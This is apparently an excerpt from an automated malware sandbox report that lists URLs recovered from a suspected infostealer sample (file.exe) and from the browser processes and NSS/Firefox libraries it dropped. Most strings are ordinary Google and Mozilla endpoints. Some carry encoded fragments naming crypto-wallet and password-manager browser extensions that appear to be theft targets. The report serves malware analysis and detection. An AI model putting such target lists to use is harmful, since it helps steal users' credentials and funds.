Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000002.1931704484.00004A3000D70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com/$rpc/google.internal.onegoogle.asyncdata.v1.AsyncDataService/GetAsyn
Source: chrome.exe, 00000001.00000003.1859034332.00004A300109C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871500329.00004A3001BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871500329.00004A3001BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932094966.00004A3000E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832058208.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE6000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930251923.00004A3000AC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832058208.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871500329.00004A3001BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832058208.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE6000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832058208.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE6000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000002.1931921083.00004A3000DD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1871500329.00004A3001BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930739562.00004A3000BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832058208.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931953505.00004A3000DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931784169.00004A3000DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000001.00000002.1925730837.00004A30002EB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930076715.00004A3000A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_79.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_78.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_78.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000001.00000002.1930076715.00004A3000A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000002.1923617263.00004A3000078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000001.00000002.1923617263.00004A3000078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditingJ0
Source: chrome.exe, 00000001.00000002.1923944010.00004A30000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comb
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000001.00000002.1926279329.00004A300040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854611219.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855180976.00004A3001478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858941483.00004A30014A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855057282.00004A3001470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854730742.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1857071896.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1924463775.000000001D29D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1924463775.000000001D29D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17t
Source: chrome.exe, 00000001.00000002.1929905118.00004A30009EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chromecache_78.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000002.1929540481.00004A3000914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1833225737.00004A3000ED0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000002.1929020227.00004A30007DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930251923.00004A3000AC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promosJAx
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932476861.00004A3000E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929188687.00004A3000850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932476861.00004A3000E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929188687.00004A3000850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000001.00000003.1832939403.00004A3000DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927240534.00004A30005B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoresent.
Source: chrome.exe, 00000001.00000002.1926279329.00004A300040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854611219.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855180976.00004A3001478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858941483.00004A30014A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855057282.00004A3001470000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854730742.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1857071896.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitJ0j
Source: chrome.exe, 00000001.00000002.1930038108.00004A3000A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_78.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_78.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000001.00000003.1864349407.00004A3001778000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864406326.00004A300177C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864730501.00004A300179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864547633.00004A3001784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864484903.00004A3001780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864602944.00004A3001788000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864875736.00004A30017B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864779960.00004A30017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864673344.00004A300178C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1864836208.00004A30017A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1864730501.00004A300179C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.managerJ0
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000001.00000002.1929540481.00004A3000914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000001.00000002.1929540481.00004A3000914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000002.1941561497.00004A3001414000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854611219.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855838649.00004A300140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856966201.00004A3000F1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858941483.00004A30014A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854730742.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1857071896.00004A30013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2042015562.000000002361D000.00000004.00000020.00020000.00000000.sdmp, JKJDBAAAEHIEGCAKFHCGDHIEGD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2080967365.0000000000464000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
